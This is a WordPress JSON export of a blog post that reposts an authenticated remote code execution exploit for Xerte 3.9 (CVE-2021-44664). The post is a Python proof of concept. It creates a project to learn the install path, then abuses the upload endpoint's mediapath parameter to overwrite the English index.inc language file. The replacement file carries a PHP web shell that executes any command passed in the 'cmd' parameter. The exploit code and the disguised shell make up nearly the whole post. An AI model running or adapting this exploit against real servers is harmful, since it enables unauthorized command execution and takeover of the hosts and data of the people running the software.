{"id":21200,"date":"2022-03-02T20:08:54","date_gmt":"2022-03-02T17:08:54","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166182\/xerte39-exec.txt"},"modified":"2022-03-06T11:45:24","modified_gmt":"2022-03-06T08:15:24","slug":"xerte-3-9-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/xerte-3-9-remote-code-execution\/","title":{"rendered":"Xerte 3.9 Remote Code Execution"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: Xerte 3.9 &#8211; Remote Code Execution (RCE) (Authenticated)<br \/>\n# Date: 05\/03\/2021<br \/>\n# Exploit Author: Rik Lutz<br \/>\n# Vendor Homepage: https:\/\/xerte.org.uk<br \/>\n# Software Link: https:\/\/github.com\/thexerteproject\/xerteonlinetoolkits\/archive\/refs\/heads\/3.8.5-33.zip<br \/>\n# Version: up until version 3.9<br \/>\n# Tested on: Windows 10 XAMP<br \/>\n# CVE : CVE-2021-44664<\/p>\n<p dir=\"ltr\"># This PoC assumes guest login is enabled and the en-GB langues files are used.<br \/>\n# This PoC wil overwrite the existing langues file (.inc) for the englisch index page with a shell.<br \/>\n# Vulnerable url: https:\/\/&lt;host&gt;\/website_code\/php\/import\/fileupload.php<br \/>\n# The mediapath variable can be used to set the destination of the uploaded.<br \/>\n# Create new project from template -&gt; visit &#8220;Properties&#8221; (! symbol) -&gt; Media and Quota<\/p>\n<p dir=\"ltr\">import requests<br \/>\nimport re<\/p>\n<p dir=\"ltr\">xerte_base_url = &#8220;http:\/\/127.0.0.1&#8221;<br \/>\nphp_session_id = &#8220;&#8221; # If guest is not enabled, and you have a session ID. Put it here.<\/p>\n<p dir=\"ltr\">with requests.Session() as session:<br \/>\n# Get a PHP session ID<br \/>\nif not php_session_id:<br \/>\nsession.get(xerte_base_url)<br \/>\nelse:<br \/>\nsession.cookies.set(&#8220;PHPSESSID&#8221;, php_session_id)<\/p>\n<p dir=\"ltr\"># Use a default template<br \/>\ndata = {<br \/>\n&#8216;tutorialid&#8217;: &#8216;Nottingham&#8217;,<br \/>\n&#8216;templatename&#8217;: &#8216;Nottingham&#8217;,<br \/>\n&#8216;tutorialname&#8217;: &#8216;exploit&#8217;,<br \/>\n&#8216;folder_id&#8217;: &#8221;<br \/>\n}<\/p>\n<p dir=\"ltr\"># Create a new project in order to find the install path<br \/>\ntemplate_id = session.post(xerte_base_url + &#8216;\/website_code\/php\/templates\/new_template.php&#8217;, data=data)<\/p>\n<p dir=\"ltr\"># Find template ID<br \/>\ndata = {<br \/>\n&#8216;template_id&#8217;: re.findall(&#8216;(\\d+)&#8217;, template_id.text)[0]\n}<\/p>\n<p dir=\"ltr\"># Find the install path:<br \/>\ninstall_path = session.post(xerte_base_url + &#8216;\/website_code\/php\/properties\/media_and_quota_template.php&#8217;, data=data)<br \/>\ninstall_path = re.findall(&#8216;mediapath&#8221; value=&#8221;(.+?)&#8221;&#8216;, install_path.text)[0]\n<p dir=\"ltr\">headers = {<br \/>\n&#8216;User-Agent&#8217;: &#8216;Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko\/20100101 Firefox\/94.0&#8217;,<br \/>\n&#8216;Accept&#8217;: &#8216;text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8&#8217;,<br \/>\n&#8216;Accept-Language&#8217;: &#8216;nl,en-US;q=0.7,en;q=0.3&#8217;,<br \/>\n&#8216;Content-Type&#8217;: &#8216;multipart\/form-data; boundary=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;170331411929658976061651588978&#8217;,<br \/>\n}<\/p>\n<p dir=\"ltr\"># index.inc file<br \/>\ndata = \\<br \/>\n&#8221;&#8217;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;170331411929658976061651588978<br \/>\nContent-Disposition: form-data; name=&#8221;filenameuploaded&#8221;; filename=&#8221;index.inc&#8221;<br \/>\nContent-Type: application\/octet-stream<\/p>\n<p dir=\"ltr\">&lt;?php<br \/>\nif(isset($_REQUEST[\\&#8217;cmd\\&#8217;])){ echo &#8220;&lt;pre&gt;&#8221;; $cmd = ($_REQUEST[\\&#8217;cmd\\&#8217;]); system($cmd); echo &#8220;&lt;\/pre&gt;&#8221;; die; }<br \/>\n\/**<br \/>\n*<br \/>\n* index.php english language file<br \/>\n*<br \/>\n* @author Patrick Lockley<br \/>\n* @version 1.0<br \/>\n* @copyright Pat Lockley<br \/>\n* @package<br \/>\n*\/<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_USERNAME_AND_PASSWORD_EMPTY&#8221;, &#8220;Please enter your username and password&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_USERNAME_EMPTY&#8221;, &#8220;Please enter your username&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_PASSWORD_EMPTY&#8221;, &#8220;Please enter your password&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_LDAP_MISSING&#8221;, &#8220;PHP\\&#8217;s LDAP library needs to be installed to use LDAP authentication. If you read the install guide other options are available&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_SITE_ADMIN&#8221;, &#8220;Site admins should log on on the manangement page&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_LOGON_FAIL&#8221;, &#8220;Sorry that password combination was not correct&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_LOGIN&#8221;, &#8220;login area&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_USERNAME&#8221;, &#8220;Username&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_PASSWORD&#8221;, &#8220;Password&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_HELP_TITLE&#8221;, &#8220;Getting Started&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_HELP_INTRODUCTION&#8221;, &#8220;We\\&#8217;ve produced a short introduction to the Toolkits website.&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_HELP_INTRO_LINK_TEXT&#8221;,&#8221;Show me!&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_NO_LDAP&#8221;,&#8221;PHP\\&#8217;s LDAP library needs to be installed to use LDAP authentication. If you read the install guide other options are available&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_FOLDER_PROMPT&#8221;,&#8221;What would you like to call your folder?&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_WORKSPACE_TITLE&#8221;,&#8221;My Projects&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_CREATE&#8221;,&#8221;Project Templates&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_DETAILS&#8221;,&#8221;Project Details&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_SORT&#8221;,&#8221;Sort&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_SEARCH&#8221;,&#8221;Search&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_SORT_A&#8221;,&#8221;Alphabetical A-Z&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_SORT_Z&#8221;,&#8221;Alphabetical Z-A&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_SORT_NEW&#8221;,&#8221;Age (New to Old)&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_SORT_OLD&#8221;,&#8221;Age (Old to New)&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_LOG_OUT&#8221;,&#8221;Log out&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_LOGGED_IN_AS&#8221;,&#8221;Logged in as&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_BUTTON_LOGIN&#8221;,&#8221;Login&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_BUTTON_LOGOUT&#8221;,&#8221;Logout&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_BUTTON_PROPERTIES&#8221;,&#8221;Properties&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_BUTTON_EDIT&#8221;,&#8221;Edit&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_BUTTON_PREVIEW&#8221;, &#8220;Preview&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_BUTTON_SORT&#8221;, &#8220;Sort&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_BUTTON_NEWFOLDER&#8221;, &#8220;New Folder&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_BUTTON_NEWFOLDER_CREATE&#8221;, &#8220;Create&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_BUTTON_DELETE&#8221;, &#8220;Delete&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_BUTTON_DUPLICATE&#8221;, &#8220;Duplicate&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_BUTTON_PUBLISH&#8221;, &#8220;Publish&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_BUTTON_CANCEL&#8221;, &#8220;Cancel&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_BUTTON_SAVE&#8221;, &#8220;Save&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_XAPI_DASHBOARD_FROM&#8221;, &#8220;From:&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_XAPI_DASHBOARD_UNTIL&#8221;, &#8220;Until:&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_XAPI_DASHBOARD_GROUP_SELECT&#8221;, &#8220;Select group:&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_XAPI_DASHBOARD_GROUP_ALL&#8221;, &#8220;All groups&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_XAPI_DASHBOARD_SHOW_NAMES&#8221;, &#8220;Show names and\/or email addresses&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_XAPI_DASHBOARD_CLOSE&#8221;, &#8220;Close dashboard&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_XAPI_DASHBOARD_DISPLAY_OPTIONS&#8221;, &#8220;Display options&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_XAPI_DASHBOARD_SHOW_HIDE_COLUMNS&#8221;, &#8220;Show \/ hide columns&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_XAPI_DASHBOARD_QUESTION_OVERVIEW&#8221;, &#8220;Interaction overview&#8221;);<\/p>\n<p dir=\"ltr\">define(&#8220;INDEX_XAPI_DASHBOARD_PRINT&#8221;, &#8220;Print&#8221;);<br \/>\n\\r<br \/>\n\\r<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;170331411929658976061651588978<br \/>\nContent-Disposition: form-data; name=&#8221;mediapath&#8221;<\/p>\n<p dir=\"ltr\">&#8221;&#8217; \\<br \/>\n+ install_path \\<br \/>\n+ &#8221;&#8217;..\/..\/..\/languages\/en-GB\/<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;170331411929658976061651588978&#8211;\\r<br \/>\n&#8221;&#8217;<\/p>\n<p dir=\"ltr\"># Overwrite index.inc file<br \/>\nresponse = session.post(xerte_base_url + &#8216;\/website_code\/php\/import\/fileupload.php&#8217;, headers=headers, data=data)<br \/>\nprint(&#8216;Installation path: &#8216; + install_path)<br \/>\nprint(response.text)<br \/>\nif &#8220;success&#8221; in response.text:<br \/>\nprint(&#8220;Visit shell @: &#8221; + xerte_base_url + &#8216;\/?cmd=whoami&#8217;)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Xerte 3.9 &#8211; Remote Code Execution (RCE) (Authenticated) # Date: 05\/03\/2021 # Exploit Author: Rik Lutz # Vendor Homepage: https:\/\/xerte.org.uk # Software Link: https:\/\/github.com\/thexerteproject\/xerteonlinetoolkits\/archive\/refs\/heads\/3.8.5-33.zip # Version: up until version 3.9 # Tested on: Windows 10 XAMP # CVE : CVE-2021-44664 # This PoC assumes guest login is enabled and the en-GB langues &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-21200","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21200","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=21200"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21200\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=21200"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=21200"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=21200"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}